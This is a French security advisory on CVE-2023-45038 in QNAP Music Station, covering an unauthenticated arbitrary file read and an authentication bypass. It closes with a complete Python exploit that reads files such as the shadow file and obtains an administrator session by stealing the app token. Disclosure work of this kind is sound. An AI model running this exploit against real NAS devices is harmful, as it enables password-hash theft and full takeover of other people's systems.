QNAP QSA-24-25 : Music Station - Lecture arbitraire de fichier et contournement d'authentification - CVE-2023-45038
Historique (DD/MM/YYYY)
- 02/10/2023 : Bug envoyé à l’équipe de sécurité de QNAP
- 05/10/2023 : QNAP confirme la réception du rapport et attribue le numéro de CVE
- 22/05/2024 : Le correctif est publié pour Music Station 5.4.0
- 07/09/2024 : Avis de sécurité publié sur le site de QNAP
Résumé
Lorsque le rapport a été envoyé à l’équipe de sécurité de QNAP, une mise à jour était disponible (5.3.23) qui limite le contournement de l’authentification aux actions de transcodage. Cependant, cette mise à jour n’était pas disponible sur la version de QTSCloud utilisée pour la découverte de ces vulnérabilités. Le score CVSS attribué à la CVE-2023-45038 est calculé pour la version 5.3.23. Si le score a été calculé pour toutes les vulnérabilités décrites dans le rapport, il devrait être d’au moins 8.6 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N)
Une lecture arbitraire de fichiers sans authentification permet à un attaquant de lire des fichiers sensibles. Comme l’application Music Station fonctionne avec les privilèges les plus élevés, l’attaquant est en mesure de lire tous les fichiers du système, y compris, par exemple, le fichier shadow pour obtenir des condensats de mots de passe.
De plus, un fichier spécial donnant un SID valide pour le compte “appuser” appartenant au groupe “administrators” peut être lu. Cela permet à l’attaquant de prendre le contrôle total du NAS et d’obtenir les droits root si nécessaire.
Lecture arbitraire avec authentification
Détails techniques
La vulnérabilité se trouve dans le fichier api/as_get_file_api.php. Pour cette partie de l’exploitation, nous considérerons que nous sommes authentifiés en tant que simple utilisateur.
La fonctionnalité de transcodage (accessible avec le paramètre de formulaire “tt=ts”) permet de lire un fichier arbitraire si la fonction “output_ts_file” peut être déclenchée avec un chemin d’accès contrôlé par l’utilisateur.
Pour atteindre cette fonction, la condition if à la ligne 459 nécessite une valeur numérique pour le paramètre HTTP “songid” et la variable $filePath ne doit pas être encodée.
La variable $filePath ne peut pas être directement le chemin vers le fichier désiré parce qu’un morceau de code avant transformera la valeur.
Si nous envoyons la valeur “/etc/passwd”, la valeur envoyée à output_ts_file sera /share/etc/passwd. Nous devons donc envoyer celle-ci encodée en base64. Elle sera décodée sur la ligne 350, mais ne sera pas transformée.
Exploitation
En envoyant une valeur numérique pour le paramètre “songid” et un chemin encodé en base64 pour le paramètre “f”, nous sommes en mesure de lire un fichier sur le système.
Comme l’application est exécutée avec les privilèges les plus élevés, un attaquant peut lire n’importe quel fichier sur le NAS. Voici un exemple avec le fichier shadow :
Contournement de l’authentification
Détails techniques
Avec la première vulnérabilité, nous pouvons lire n’importe quel fichier sur le système. Mais nous pouvons l’exploiter sans authentification avec une seconde vulnérabilité qui contourne l’authentification.
Ce fichier peut gérer deux types d’authentification:
La première utilise un code de partage, mais la variable “$filePath” ne peut pas être entièrement contrôlé car il est extrait de la base de données à la ligne 70. Ceci doit être contourné en ajoutant une valeur à la variable $ssid.
La seconde vérifiera le sid de l’utilisateur pour valider l’authentification. Mais la condition elseif peut être contournée si la variable $time_id est vide, ce qui est le cas par défaut.
Exploitation
En ajoutant une valeur arbitraire au paramètre de formulaire “ssid”, l’authentification peut être contournée.
Obtenir un sid dans le groupe administrators
La lecture arbitraire de fichiers en tant que root sur un système QNAP permet l’obtention d’une session avec les droits d’administration de plusieurs manières.
Dans le cas de l’application Music Station, la valeur app_token peut être lue depuis le fichier /share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token
Avec ce jeton, il est possible d’obtenir un “sid” valide qui sera dans le groupe “administrators”.
Exploit
Voici un exploit qui permet de télécharger un fichier ou d’obtenir un SID valide dans un groupe d’administrateurs.
import requests
import argparse
import base64
parser = argparse.ArgumentParser()
parser.add_argument('base_url')
parser.add_argument('-f', '--file')
TOKEN_PATH = b"/share/CACHEDEV1_DATA/.@station_config/musicdata/apptoken/ms.app.token"
args = parser.parse_args()
API_PATH = args.base_url+"/musicstation/api/as_get_file_api.php"
AUTH_LOGIN = args.base_url+"/cgi-bin/authLogin.cgi"
if args.file:
print(requests.post(API_PATH, data={
"ssid":"dummy",
"songid":1,
"tt":"ts",
"f": base64.b64encode(args.file.encode())
}).text)
else:
token = requests.post(API_PATH, data={
"ssid":"dummy",
"songid":1,
"tt":"ts",
"f": base64.b64encode(TOKEN_PATH)
}).text
print("AppToken :", token)
sid = requests.get(AUTH_LOGIN,params={
"app_token": token,
"app": "MUSIC_STATION",
"auth": 1
}).text.split("<authSid><![CDATA[")[1].split("]")[0]
print("SID :", sid)
if "<isAdmin><![CDATA[1]]></isAdmin>" in requests.get(AUTH_LOGIN+"?sid="+sid).text:
print("SID is admin.")